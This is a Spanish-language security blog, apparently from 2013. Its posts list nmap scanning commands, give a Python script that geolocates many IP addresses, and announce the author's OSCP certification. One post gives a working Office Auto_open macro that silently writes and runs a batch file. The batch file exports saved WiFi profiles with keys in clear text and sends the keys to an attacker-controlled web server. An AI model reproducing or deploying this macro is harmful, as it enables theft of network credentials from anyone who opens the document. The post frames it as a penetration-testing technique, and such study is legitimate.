domingo, 28 de julio de 2013

Comandos nmap para pentest

A continuación un conjunto de comandos de Nmap que utilizo regularmente para los trabajos de pentest:


Deteccion de equipos en la red
nmap -sP <Rango de IP's>  # Escaneo mediante ICMP hacia el rango de IP's escogidas
nmap -sP -PE -PP -PS21,23,25,80,113,31339 -PA80,113,443,10042 --source-port 53 -T4 -oA <nombre_archivo1> # escaneo avanzado de ICMP mas un conjunto de puertos comunmente utilizados, es recomendable la opcion -oA para reporte y alimentar otros escaneos.

Escaneo rapido
nmap -sSV -F -T4 --top-ports 100 -iL <lista_de_IPs> -oA <nombre_archivo2> #se utiliza para realizar un escaneo rápido de los primeros 100 puertos TCP se puede jugar con el parametro de --top-ports:
--top-ports 500                ## 89% efectividad
--top-ports 3674              ## 100% efectividad
 # se puede cambiar -sS por -sU para puertos UDP, por las características del protocolo es mejor utilizar pocos puertos en el --top-ports (20 es un buen inicio)
 
Detección de vulnerabilidades
Los scripts de nmap para la detección de vulnerabilidades se encuentran usualmente en:
/usr/local/share/nmap/scripts, de acuerdo al servicio identificado se debe escoger un script, por ejemplo si se identifica un puerto de tipo SMB:

nmap -p139,445 --script smb-check-vulns.nse

Saludos !!!

domingo, 16 de junio de 2013

Script de geolocalizacion de multiples IP's

En ocasiones necesitamos analizar la localizacion de multiples IP's, por ejemplo en la revisión de los logs de un evento de seguridad, para ello existen muchos recursos excelentes como http://ip-adress.com/ el cual utilizo a menudo, sin embargo estos servicios son de pago para la identificacion de multiples IP's, existe un servicio gratuito en freegeoip.net para obtener datos de una IP en particular, en esta ocasion adjunto un script que permite obtener la localizacion y otros datos de freegeoip para multiples direcciones escrito en python:

 # -*- coding: utf-8 -*-  
 # Python  
 # Script para localización geográfica de IP - Boris Murillo  
 import sys  
 import re  
 import string  
 import httplib  
 import urllib2  
 import re  
 # Contruccion de la conexion a través de proxy  
 proxy_info = {  
 'user' : '',  
 'pass' : '',  
 'host' : "localhost",  
 'port' : 8080  
 }  
 proxy_support = urllib2.ProxyHandler({"http" : "http://%(user)s:%(pass)s@%(host)s:%(port)d" % proxy_info})  
 # Funcion para verificar si no es una IP interna  
 def ip_interno(ip):  
      if ip[0] == "10" and ip[2] == ".":  
           return True  
      else: return False  
 # Funcion de consulta de IP  
 def buscar_ip(dir_ip):  
      try:  
           results = 'http://freegeoip.net/csv/'+str(dir_ip)  
           request = urllib2.Request(results)  
           request.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0')  
           opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler)  
           urllib2.install_opener(opener)  
           text = opener.open(request).read()  
           return text  
      except IOError:  
           print "No es posible conectarse con el proveedor"+""  
 # Uso de la herramienta  
 if len(sys.argv) != 2:  
     print "\nObtiene la Localizacion Geografica de una Direccion IP.\n"  
     print "\nUso : ./localizar.py <ARCHIVO_CON_IP's>\n"  
     sys.exit(1)  
 archivo=sys.argv[1]  
 # Lanzamiento de programa            
 ins = open( archivo, "r" )   
 for ip in ins:   
      if ip_interno(ip) == False:  
           print buscar_ip(ip)  

Para lanzar la herramienta basta con ejecutar el archivo localizar.py seguido del nombre del archivo con las direcciones IP

Saludos

sábado, 23 de febrero de 2013

Como obtener clave de WiFI (WEP - WPA2) a traves de macros

Cuando se verifica la seguridad de la infraestructura de red inalambrica (WiFi), se suelen realizar pruebas sobre la configuracion de seguridad de la red y la fortaleza del protocolo utilizado, a continuacion un vector de ataque adicional: un ataque a los clientes de dicha red, robando sus credenciales.

Muchos ya conoceran las herramientas de Nirsoft para la recuperacion de passwords, la idea con esta prueba es la misma, obtener la clave almacenada en el registro para luego ser enviada a un determinado sitio (bajo ciertas condiciones).

Para ello existe un comando muy util que nos permitira obtener las claves desde el registro:

netsh wlan export profile folder=. key=clear

Podemos cargar dicha clave en una macro de office para su ejecucion, enviando el resultado a un servidor web bajo nuestro poder:

Sub Auto_open()
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set a = fs.CreateTextFile("mw.bat", True)
    a.writeline "@echo off"
    a.writeline "@netsh wlan export profile folder=. key=clear"
    a.writeline "@for /f ""delims="" %%i in ('find ""keyMaterial"" *.xml') do set contenido=""%%i"""
    a.writeline "@start http://200.XXX.XXX.XXX/?%contenido%"
    Call Shell(Environ$("COMSPEC") & " /c mw.bat", vbHide)
End Sub

Cuando el objetivo ejecute el macro, enviara automaticamente los datos obtenidos hacia el sitio web, en los cuales se encontrará la clave en texto claro, si esta no tiene el parámetro "protected=true" en la configuracion del XML, para mayor informacion acerca de este ultimo punto vean este sitio.

Saludos

Boris

domingo, 17 de febrero de 2013

Obtuve el OSCP (Offensive Security Certified Professional)


Offensive Security es la empresa que se encuentra detras de la distribucion Backtrack (pronto Kali?), la cual se concentra justamente en el uso de esta distribucion, conjuntamente con la metodologia y herramientas necesarias para realizar un penetration test, se diferencia de otras certificaciones de hacking en que el curso se lleva a cabo con acceso remoto a un laboratorio que simula distintos entornos y vulnerabilidades y la certificacion se la gana con un examen en otro entorno de laboratorio, donde se debe acceder (hackear) a un conjunto de equipos para obtener la calificacion necesaria para certificarse, lo cual la hace una certificacion muy respetada en el entorno de profesionales de seguridad especializados en Ethical Hacking.

Realmente es un curso muy recomendable en cuanto a material y en general al espiritu del curso que se centra en lo que realiza un pen tester: la investigacion bajo el lema de "Try Harder", este curso me permitio mejorar las habilidades relacionadas con el hacking, de tal modo que la semana pasada tomé el examen de certificacion (24 horas de examen + 24 horas para la entrega de un informe), y 3 dias despues recibí la noticia: obtuve la certificacion OSCP.

Para mayor informacion al respecto pueden visitar el sitio de Offensive Security.


Boris